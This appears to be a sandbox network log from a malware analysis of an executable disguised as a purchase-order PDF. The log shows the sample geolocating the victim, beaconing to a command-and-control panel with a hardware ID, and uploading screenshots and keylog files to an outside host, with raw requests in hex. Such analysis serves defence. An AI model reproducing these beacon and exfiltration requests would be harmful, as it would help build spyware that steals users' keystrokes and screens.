Feb 22, 2023 09:42:31.247303009 CET	1078	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:42:30 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49708	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:26.942320108 CET	1091	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 22, 2023 09:43:26.980568886 CET	1091	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:43:25 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 15 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49709	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:27.754615068 CET	1092	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 22, 2023 09:43:27.791955948 CET	1092	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:43:27 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 3 X-Rl: 41 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49710	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:30.660160065 CET	1093	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:43:30.705907106 CET	1093	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:30 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49711	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:35.782742977 CET	1094	OUT	POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c01db3e779 Host: mavelecgr.com Content-Length: 883749 Expect: 100-continue
Feb 22, 2023 09:43:35.825920105 CET	1094	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:43:35.826299906 CET	1095	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 30 31 64 62 33 65 37 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c01db3e779Content-Disposition: form-data; name="file"; filename="2023-02-22-10-31-40-screenshot.png"Content-Type: application/octet-stream
Feb 22, 2023 09:43:35.826575041 CET	1103	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^%E?k^uw]]WWo(IE$0Qr`XAE%00!3a_Ou=uzW]}wuyOwUuuuuS9gZkZZ/#ycko]"f
Feb 22, 2023 09:43:35.826575041 CET	1107	OUT	Data Raw: 67 d6 13 80 a3 6e 2b 39 48 4b ca 03 3a 4d 42 69 e4 39 95 f6 0f 43 00 3e 40 df 01 78 81 59 76 ef 79 e6 d9 bb 4e b3 e9 d0 d3 80 36 1d 7d 57 e0 fd 76 df fd e7 99 27 6e 3b db 3c 70 f5 01 66 f1 b5 7b 99 a7 dd c7 80 f7 37 cf de 4a bf d2 7d 90 bd 2f fb Data Ascii: gn+9HK:MBi9C>@xYvyN6}Wv'n;<pf{7J}/=\|~-rAD H/cQl6k@mOkP"ef)dDDS[Xt@AqD_-+$JJF\|A$}nx2RSIJk^OC
Feb 22, 2023 09:43:35.869844913 CET	1117	OUT	Data Raw: e5 08 a2 e3 d6 80 f2 37 01 95 c5 c0 74 68 ec e8 02 71 dc 4a 50 de 0e 90 e3 47 1b 50 99 59 a0 73 cd 01 2d 32 56 2a ca f7 4e 1d f2 3e ac 23 5b 00 12 0d e2 33 18 ab 48 f8 2b 4c c4 36 19 e3 a4 90 e9 75 1e bd 4f 23 d3 86 3c 20 26 8b 44 50 26 5a 6c 49 Data Ascii: 7thqJPGPYs-2VN>#[3H+L6uO#< &DP&ZlI'B/-LPw)z%f"tP\pDtnQaF1>> #>y`S)PZSul#J=#'zoIG?l+\|\
Feb 22, 2023 09:43:35.869937897 CET	1126	OUT	Data Raw: e9 00 7c dd 24 b4 dd fd 67 89 45 a5 a1 72 fa 82 ea a2 90 01 3e 22 4a 2b ea d2 08 79 ae 5d 50 57 7e ee 7e 8d 4c cb d7 40 82 f2 24 e0 be 2c d1 fd 7a 1c a1 fb 6b 7a a3 b7 39 e8 6f 94 a6 35 28 1e b2 f4 62 c3 6a 82 a4 69 28 fc e8 3b 9e 1d 2c 80 90 1c Data Ascii: \|$gEr>"J+y]PW~~L@$,zkz9o5(bji(;,ja!{'jH<=yR![YH<Q6HAw#z}:^1rAcC?k}QEY54/U9*xB})}Zh)" BJNZ
Feb 22, 2023 09:43:35.869937897 CET	1131	OUT	Data Raw: 10 6b 01 e8 8e ad fe d1 77 d7 95 04 a0 4f cf b2 26 bc d7 72 c3 fe ad 3f 26 eb 3e d6 bc 71 21 0f d0 a0 9c 03 89 c4 f0 71 49 7b 4c 12 7c f4 71 51 f8 04 e0 8e 6e ff ac 97 d9 f3 e6 8f 00 06 01 b8 4d f1 04 9b 94 0a d1 b9 58 52 e7 29 af 57 24 80 6c 79 Data Ascii: kwO&r?&>q!qI{L\|qQnMXR)W$ly$-($m:$@?'x_<iIE_^p@W?O(OzIAJK]I/z6%&yrWOsmo>qH_}#_?Kk9
Feb 22, 2023 09:43:35.913290024 CET	1146	OUT	Data Raw: 0d 12 74 0e a9 fd 72 7b 53 64 fe 46 44 83 0c a1 07 1a 8d 4e af 49 a4 45 83 1f 01 83 f2 1c e4 f1 2a 90 d2 4f 82 d2 46 88 73 40 a0 73 ea 17 74 9c d1 51 27 68 40 9b 49 b8 1c 16 2a 9a e8 58 09 a8 1c 2d 00 f9 6f 2e 87 fa 82 2c 97 b7 8d 23 b2 8e ba 3d Data Ascii: tr{SdFDNIEOFs@stQ'h@IX-o.,#={z0zEb#dqSR42z+D4Z6QjPTuT_R!08}}zh2"a3}>-@D" xG5NzJ'iP~}B*
Feb 22, 2023 09:43:35.913367987 CET	1156	OUT	Data Raw: ff 88 58 fe 11 e2 98 6d 50 e7 19 ce 0b a5 1d 04 7c 3c 89 ae 53 15 6a dd 0c d3 44 d8 36 94 a0 3a 25 08 ce 00 ec cb a1 0b ff 10 fa 22 14 7c 75 78 01 48 72 8e 9e cc cb 41 8a 3d e6 f6 4d 37 35 cb ec a2 f8 b6 2d b7 34 8b bf fc 65 f3 f8 c5 17 97 64 5f Data Ascii: XmP\|<SjD6:%"\|uxHrA=M75-4ed_SU+=)?!#y'[1O8HygkY`\|A1NbVyha4>H1Hw5)IvcI2->,CF)d@e_U7:'G4!#
Feb 22, 2023 09:43:35.913400888 CET	1164	OUT	Data Raw: 01 1e 0b 40 85 0c 02 2d 6a d3 c4 80 b3 24 0c ad e1 19 51 04 96 04 e0 33 ae a9 7a ff dd ff fb df ba 9d 2e 7a 8a 17 80 90 71 d7 7d ef 9b 71 8c 73 df ba e9 3f 67 46 00 6e 41 01 39 24 27 3e b1 fc b4 6d f9 85 2c 8c b5 cf 80 df 1f 66 00 6c a1 02 cb 28 Data Ascii: @-j$Q3z.zq}qs?gFnA9$'>m,fl(6v!y;H"d\e7$-8%J?Ouv8^<S4@NHKrKE%ek9Q`JF,){/~(SM.&r,i2xA?
Feb 22, 2023 09:43:35.913400888 CET	1169	OUT	Data Raw: 39 46 db 15 df 23 52 00 5a 49 b7 44 4b 36 2f de 20 ee 98 ce cb 43 eb 48 e5 35 52 e6 0d 83 5c 36 0b 16 7d d6 30 3f 3c de 2a 1b 6e 97 b5 25 47 13 96 74 69 c2 96 30 65 ac 3a 72 78 b9 55 f9 92 7c ca 6e bf 45 0f be ba b0 ea 87 25 f5 ba 93 cb c4 3a f6 Data Ascii: 9F#RZIDK6/ CH5R\6}0?<*n%Gti0e:rxU\|nE%:<+zml\|4c-C:GwmPoy\|XX=etRJ#<wL9vS'y.L&'Imn0bS-c(0b1w+Mje"]Ie-Sl'
Feb 22, 2023 09:43:36.527383089 CET	1991	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:43:36 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:43:36.771205902 CET	1991	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:43:36 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49712	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:37.062712908 CET	1992	OUT	POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c0649fba80 Host: mavelecgr.com Content-Length: 266 Expect: 100-continue Connection: Keep-Alive
Feb 22, 2023 09:43:37.105752945 CET	1992	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:43:37.106024027 CET	1992	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 30 36 34 39 66 62 61 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c0649fba80Content-Disposition: form-data; name="file"; filename="2023-02-22-10-34-keylogs.txt"Content-Type: application/octet-stream
Feb 22, 2023 09:43:37.188272953 CET	1992	OUT	Data Raw: 0a 5b 20 4d 69 63 72 6f 73 6f 66 74 20 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 2d 20 32 2f 32 32 2f 32 30 32 33 20 31 30 3a 32 37 3a 31 30 20 41 4d 20 5d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 Data Ascii: [ Microsoft .NET Framework - 2/22/2023 10:27:10 AM ]-----------------------8db14c0649fba80--
Feb 22, 2023 09:43:37.235333920 CET	1993	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:43:37 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:43:37.237551928 CET	1993	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:37.282905102 CET	1993	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:37 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49713	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:42.586040020 CET	1994	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:42.631881952 CET	1994	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:42 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49714	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:47.708966017 CET	1995	OUT	POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c138ae0303 Host: mavelecgr.com Content-Length: 836729 Expect: 100-continue Connection: Keep-Alive
Feb 22, 2023 09:43:47.752063990 CET	1995	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:43:47.752510071 CET	1995	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 31 33 38 61 65 30 33 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c138ae0303Content-Disposition: form-data; name="file"; filename="2023-02-22-10-40-29-screenshot.png"Content-Type: application/octet-stream
Feb 22, 2023 09:43:47.752782106 CET	2003	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^%EHC.(*`XkXu]JCQ0!IPqW4Ha!&dVO}szsX}f`V{cp\|?0X}5?0g
Feb 22, 2023 09:43:47.753031015 CET	2007	OUT	Data Raw: 02 33 cf b2 78 f1 12 73 6a d7 1e 01 6e 75 e6 75 40 9d 3c 31 dc 75 25 3b 69 49 b6 43 d7 03 52 88 3c a6 cc fa ae 0b 40 7b 0d 7a a9 b7 e4 b9 8b cd fc 29 a7 99 85 4f 9d 61 df cb bb 01 ed 2b 5d ab 3e 9d 99 7e b1 99 fb fc 9f cd d3 4f 3f 6d 5e 98 fe 94 Data Ascii: 3xsjnuu@<1u%;iICR<@{z)Oa+]>~O?m^3^37M9,\|YQLx~6m ml(%<N%H6-l1TlhCh`H0-d`t}R@b"2s5d&++
Feb 22, 2023 09:43:47.796005011 CET	2017	OUT	Data Raw: b5 d4 3a f1 a4 93 b3 e5 b4 64 2e 68 50 ee 6e 22 07 13 c9 70 d7 95 ec f0 8b c1 e5 cf 03 0f 62 2d d0 36 5a 00 ca e5 74 0e 53 01 98 73 f7 9f 13 80 4f 8d 33 73 1f 3b ca cc 9d 78 b4 79 95 44 e0 e3 c7 98 f9 4f 9c 68 96 3a f1 d7 92 7f e6 b9 b3 cd d3 93 Data Ascii: :d.hPn"pb-6ZtSsO3s;xyDOh:o4w?1cFpL((=&[NT$t..#Ac] _>TaA%((E0?,lhF?@GlI@c@cv;1%cp.40DZ9
Feb 22, 2023 09:43:47.796060085 CET	2031	OUT	Data Raw: 02 d4 a7 48 82 be 08 f4 43 fa 5a ef 09 3c 97 a8 30 cf 81 c7 10 f4 c9 a1 10 ab 0c 8a 9f 82 7c bb 8c dc 6f 21 5c 4e 1a fb b3 c7 81 c6 e4 22 32 f1 58 23 00 3b 4f 23 00 5b a0 32 08 72 e7 75 6a 5d 1e b0 fe 1b 7a 87 ee b0 e4 e0 92 37 c0 74 4b 00 4a ca Data Ascii: HCZ<0\|o!\N"2X#;O#[2ruj]z7tKJ32/Dkf-5PdjWxxZS mGjyyla=#\|*e_VJHFcDYrUEd#[~.O:76a~;Jy1/SCu\|!
Feb 22, 2023 09:43:47.839329004 CET	2047	OUT	Data Raw: 5e 96 87 ee b7 fd 72 3d 9e eb f1 21 16 3d de 94 81 62 c2 18 86 d6 fd 88 23 15 7a 15 05 20 6f a7 e3 02 8d 8c 95 d0 7a 14 f3 c2 f9 97 5c 26 40 73 ee 18 b0 d4 a9 8e 16 70 0c 8b 24 b4 ac 93 c8 fc bb b5 8f 42 90 94 eb 25 a8 4c 9d 00 9c 6b 4c 28 c4 50 Data Ascii: ^r=!=b#z oz\&@sp$B%LkL(P+Bo+PY$h85Ap `:R\V'u4Ch74G#!_yT-aQC&YDl0@][q$E(L(D9Q`MZ1Z{=i
Feb 22, 2023 09:43:47.839390039 CET	2074	OUT	Data Raw: ef 02 74 bf 06 ec 1e 03 26 01 98 fc 1a 30 0b c0 c5 93 93 c7 80 5f f7 df 03 88 1a 0e a3 cb 83 a4 9f 44 a7 ef 25 17 90 a8 59 f2 7a 20 65 02 01 e8 ef dc ca 93 34 24 62 aa 0a 40 96 34 2c 6a 4e 3e a5 7f 05 20 92 79 75 e8 f4 5f 2f 04 20 5a 27 29 4b 47 Data Ascii: t&0_D%Yz e4$b@4,jN> yu_/ Z')KGPPOHaSGL> /OFAyH\|4?"z7d'r/,=.dxp~v[.W17i[KfnX_#GcI\|q<w>@Ny%w9T~bVo
Feb 22, 2023 09:43:47.839425087 CET	2076	OUT	Data Raw: b0 1c f6 45 1e 77 e4 cf f0 b1 47 7d 64 f0 6e 46 85 3f 36 38 46 55 60 3e d5 df 2a d2 fa db c0 db 28 65 4d 15 b2 bc b0 2c 0b 2d df d8 8f a2 0a d3 70 ce a0 9c 34 eb d1 b1 db 80 8e c9 fa 54 a7 31 8e f2 44 5a c0 65 8b 79 52 b2 a0 fc 45 d9 7a 71 27 8f Data Ascii: EwG}dnF?68FU`>*(eM,-p4T1DZeyREzq'N1axK<G^g\Vzru#z)Jie^:[WP5Iz"5?U_Zb;:M`"!:a!19>:GXA
Feb 22, 2023 09:43:47.839442015 CET	2080	OUT	Data Raw: bf 80 d6 21 7a 45 31 a9 77 14 ad 03 8d 4c 1a 9a 8f 73 f2 e3 76 b4 2d 13 01 c8 0d 72 25 52 12 a2 31 2e 1b e4 d6 b4 26 e4 32 9a 2e 69 01 6f 77 15 e2 98 58 f0 71 1a 16 73 9d d3 8a 2a 2f 5d 66 d6 7c 89 4c 2b 90 f2 ae 0e 9d be 2a 0f 39 7d ac 70 39 e8 Data Ascii: !zE1wLsv-r%R1.&2.iowXqs/]f\|L+9}p9XVM75cd,P/DVA2:25)I@0{cK~S$y?`GNqGP#P?]w"${O<o\|?o;@Xy-
Feb 22, 2023 09:43:47.882520914 CET	2090	OUT	Data Raw: 55 c1 69 3d 51 f8 55 61 06 05 19 46 60 d1 05 1d ac 68 44 b0 97 82 3e 04 81 56 50 3a 0c 52 fa 49 10 c4 b6 22 0f c0 7d 10 6e 89 be 2a 66 8b 00 94 48 11 18 7b 01 6a 26 02 70 c2 84 d1 05 60 26 4c 84 f8 03 99 fc 9b 2f c8 24 a0 21 65 04 96 f4 93 98 12 Data Ascii: Ui=QUaF`hD>VP:RI"}n*fH{j&p`&L/$!eh{Bm"rlke:`Z,QQiIn?w<]Z[2@j-yO-]B^)\|B&qXPgn"I@+ LBpY1m.
Feb 22, 2023 09:43:48.512132883 CET	2837	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:43:48 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:43:48.524471045 CET	2838	OUT	POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c15c5f9a76 Host: mavelecgr.com Content-Length: 257 Expect: 100-continue
Feb 22, 2023 09:43:48.568496943 CET	2838	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:43:48.700210094 CET	2838	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:43:48 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:43:48.706760883 CET	2838	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:48.752531052 CET	2839	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:48 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49715	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:53.926117897 CET	2840	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:43:53.972028017 CET	2840	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:53 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49716	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:55.442380905 CET	2841	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
